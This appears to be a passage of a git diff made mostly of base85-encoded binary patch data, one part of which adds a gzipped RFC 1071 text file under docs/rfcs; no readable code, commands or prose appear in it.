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 literal 0 HcmV?d00001 diff --git a/docs/rfcs/rfc1071.txt.gz b/docs/rfcs/rfc1071.txt.gz new file mode 100644 index 0000000000000000000000000000000000000000..4d7b713ba0f98407065c0e96c1a9f19838d443a3 GIT binary patch literal 16769 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 